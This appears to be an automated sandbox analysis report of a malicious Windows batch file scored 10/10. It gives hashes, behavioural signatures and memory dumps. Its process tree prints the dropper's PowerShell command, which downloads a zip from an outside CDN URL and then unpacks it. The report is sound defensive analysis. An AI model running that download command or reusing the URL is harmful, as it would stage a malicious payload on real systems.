1f2ddc6098fc1879106e8651c5c3c629104f994272b4fa1a04d67c8a723925ec

Analysis

max time kernel
1790s
max time network
1819s
platform
windows7_x64
resource
win7-20230831-en
resource tags

arch:x64arch:x86image:win7-20230831-enlocale:en-usos:windows7-x64system
submitted
14/10/2023, 01:32

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General

Target

tesy - Copy (3).bat
Size

702B
MD5

65f016a2abe40d2902c7032438a14bd7
SHA1

b3537668ca1bb826e5085aee38b3f7ec654d606e
SHA256

153b384b64bd371e0236c8497c9706db00cc102f068ea8fd4569d20b3b5a6fd8
SHA512

b52486cdc585277de12287b4b2ab17c9e401bfeaee78555fd6d8760d7954b4e361f6e3ec32e4d694ba2cfa69d3d843d0f192539f0c893500b801c05a13b488f7

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://cdn.nest.rip/uploads/e341541c-6dbc-49ac-8012-0432383c9453.zip

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
5	1756	powershell.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1756	powershell.exe
2796	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	1756	powershell.exe
Token: SeDebugPrivilege	2796	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 1312 wrote to memory of 1756	1312	cmd.exe	29
PID 1312 wrote to memory of 1756	1312	cmd.exe	29
PID 1312 wrote to memory of 1756	1312	cmd.exe	29
PID 1312 wrote to memory of 2796	1312	cmd.exe	30
PID 1312 wrote to memory of 2796	1312	cmd.exe	30
PID 1312 wrote to memory of 2796	1312	cmd.exe	30

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (3).bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:1312
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://cdn.nest.rip/uploads/e341541c-6dbc-49ac-8012-0432383c9453.zip', 'test.zip')"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1756
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "Expand-Archive -Path 'test.zip' -DestinationPath '.'"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2796

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\19I5WKGV4A878R3U4AVF.temp

Filesize
7KB

MD5
66288909e35a4d2e2b2e6f13aba0fb13

SHA1
ce385f6913cc795d53ec6174e75b8f01fecf9f8c

SHA256
cdb95f0392b0ed25f8d73f21f9a7995dbe9921f2268e62f35b75517c4fdd4f13

SHA512
bfd699c3ea0bba883595cdeb1e7825892427acc993e047b7799e36520a8e65f988e32e4f0e1076ac2487ecbe108bdb386be198799f697c8243e00c594f92bade

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
66288909e35a4d2e2b2e6f13aba0fb13

SHA1
ce385f6913cc795d53ec6174e75b8f01fecf9f8c

SHA256
cdb95f0392b0ed25f8d73f21f9a7995dbe9921f2268e62f35b75517c4fdd4f13

SHA512
bfd699c3ea0bba883595cdeb1e7825892427acc993e047b7799e36520a8e65f988e32e4f0e1076ac2487ecbe108bdb386be198799f697c8243e00c594f92bade

Download Submit
memory/1756-8-0x0000000002520000-0x00000000025A0000-memory.dmp

Filesize
512KB

Download
memory/1756-10-0x0000000002520000-0x00000000025A0000-memory.dmp

Filesize
512KB

Download
memory/1756-9-0x0000000002520000-0x00000000025A0000-memory.dmp

Filesize
512KB

Download
memory/1756-4-0x000000001B410000-0x000000001B6F2000-memory.dmp

Filesize
2.9MB

Download
memory/1756-7-0x0000000002520000-0x00000000025A0000-memory.dmp

Filesize
512KB

Download
memory/1756-11-0x000007FEF5B30000-0x000007FEF64CD000-memory.dmp

Filesize
9.6MB

Download
memory/1756-13-0x000007FEF5B30000-0x000007FEF64CD000-memory.dmp

Filesize
9.6MB

Download
memory/1756-6-0x000007FEF5B30000-0x000007FEF64CD000-memory.dmp

Filesize
9.6MB

Download
memory/1756-5-0x0000000002220000-0x0000000002228000-memory.dmp

Filesize
32KB

Download
memory/2796-19-0x000000001B2E0000-0x000000001B5C2000-memory.dmp

Filesize
2.9MB

Download
memory/2796-22-0x000007FEF5190000-0x000007FEF5B2D000-memory.dmp

Filesize
9.6MB

Download
memory/2796-21-0x0000000001E70000-0x0000000001E78000-memory.dmp

Filesize
32KB

Download
memory/2796-20-0x000007FEF5190000-0x000007FEF5B2D000-memory.dmp

Filesize
9.6MB

Download
memory/2796-23-0x00000000026F0000-0x0000000002770000-memory.dmp

Filesize
512KB

Download
memory/2796-24-0x00000000026F0000-0x0000000002770000-memory.dmp

Filesize
512KB

Download
memory/2796-25-0x00000000026F0000-0x0000000002770000-memory.dmp

Filesize
512KB

Download
memory/2796-26-0x00000000026F0000-0x0000000002770000-memory.dmp

Filesize
512KB

Download
memory/2796-27-0x000007FEF5190000-0x000007FEF5B2D000-memory.dmp

Filesize
9.6MB

Download